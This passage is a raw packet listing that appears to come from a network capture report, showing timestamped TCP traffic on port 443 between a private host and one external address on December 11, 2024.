Dec 11, 2024 12:58:46.960901022 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.960923910 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.962717056 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:46.962735891 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:46.962857008 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.962877989 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:46.962891102 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.962964058 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.962985039 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.963649988 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.964401007 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:46.964420080 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:46.964598894 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.964756966 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.964776993 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:46.966815948 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:46.966837883 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:46.966993093 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.967012882 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:46.967026949 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.967026949 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.967026949 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.967104912 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.967184067 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.967761040 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:46.967828989 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:46.967930079 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.967930079 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.967953920 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.968003035 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:46.968013048 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:46.983362913 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.187845945 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.187855959 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.188083887 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.188083887 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.188095093 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.188106060 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.188242912 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.189946890 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.189955950 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.190088987 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.190135002 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.190135002 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.190140009 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.190181017 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.190181017 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.190294027 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.191890955 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.191920042 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.192023039 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.192023039 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.192075968 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.192080021 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.192166090 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.192297935 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.193527937 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.193595886 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.193747044 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.193747044 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.193757057 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.193767071 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.193892956 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.196573973 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.196582079 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.196744919 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.196744919 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.196862936 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.196872950 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.197032928 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.198755026 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.198761940 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.198936939 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.198936939 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.199059963 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.199068069 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.199229002 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.200433969 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.200442076 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.200619936 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.200619936 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.200694084 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.200702906 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.200789928 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.200865984 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.202023029 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.202444077 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.202451944 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.202980995 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.202980995 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.202980995 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.202980995 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.202992916 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.203155041 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.204547882 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.204555988 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.204714060 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.204714060 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.204775095 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.204775095 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.204785109 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.204871893 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.204998970 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.205219984 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.206857920 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.206890106 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.207042933 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.207104921 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.207104921 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.207114935 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.207125902 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.207125902 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.207277060 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.208457947 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.208638906 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.208647013 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.208807945 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.208807945 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.208861113 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.208869934 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.208875895 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.208980083 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.209069014 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.210748911 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.210757017 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.210916042 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.210916042 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.211013079 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.211013079 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.211021900 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.211034060 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.211148024 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.221245050 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.227711916 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.423154116 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.423156977 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.423254013 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.423353910 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.423353910 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.423402071 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.423402071 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.423402071 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.423408985 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.423574924 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.425132990 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.425160885 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.425429106 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.425429106 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.425535917 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.425544977 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.425601959 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.425601959 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.425740004 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.427079916 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.427088022 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.427269936 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.427284002 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.427284956 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.427290916 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.427356005 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.427428007 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.429106951 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.429132938 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.429264069 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.429264069 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.429311991 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.429316044 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.429358959 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.429409027 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.429457903 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.430891037 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.430959940 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.431092978 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.431092978 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.431103945 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.431293964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.432905912 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.432914972 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.433068991 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.433068991 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.433130026 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.433139086 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.433145046 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.433145046 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.433365107 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.434803963 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.434813023 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.434812069 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.434945107 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.434945107 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.434988976 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.434993982 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.435043097 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.435121059 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.435148001 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.436733961 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.436760902 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.436899900 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.436899900 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.436943054 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.436947107 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.436988115 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.436988115 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.437098980 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.438496113 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.438726902 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.438735962 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.438936949 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.438936949 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.438946962 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.438957930 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.439037085 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.439088106 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.441198111 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.441206932 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.441340923 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.441340923 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.441469908 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.441474915 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.441648960 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.442955017 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.442964077 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.443108082 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.443202019 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.443202019 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.443212032 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.443434954 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.444906950 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.444914103 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.445106983 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.445256948 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.445265055 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.445445061 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.447041988 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.447067022 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.447240114 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.447240114 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.447295904 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.447304964 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.447310925 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.447310925 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.447437048 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.449489117 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.449496984 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.449650049 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.449650049 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.449773073 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.449783087 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.449920893 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.450882912 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.455463886 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.659004927 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.659009933 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.659116030 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.659235954 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.659235954 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.659246922 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.659257889 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.659333944 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.659388065 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.661041021 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.661048889 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.661215067 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.661215067 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.661268950 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.661278009 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.661360025 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.661437988 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.662975073 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.662983894 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.663124084 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.663227081 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.663227081 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.663232088 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.663398027 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.664901972 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.664910078 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.665061951 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.665061951 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.665180922 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.665189981 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.665350914 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.666789055 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.666796923 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.666971922 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.667047977 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.667048931 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.667057991 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.667220116 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.667593956 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.667767048 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.669663906 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.669672012 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.669871092 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.669939995 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.669949055 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.670003891 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.670151949 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.671544075 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.671551943 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.671741962 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.672374010 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.672384024 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.672615051 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.672975063 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.673099041 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.673109055 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.673264027 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.673264027 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.673336029 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.673336029 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.673336029 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.673346043 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.673566103 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.675781965 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.675810099 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.675956011 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.675956011 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.675966978 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.675971985 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.676105022 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.676191092 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.677733898 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.677742004 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.677918911 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.677918911 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.677928925 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.677962065 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.678061962 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.678112030 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.679927111 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.679934978 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.680103064 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.680108070 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.680180073 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.680180073 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.680284977 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:47.681612015 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.681619883 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:47.681782007 CET	49757	443	192.168.11.20	104.21.1.51
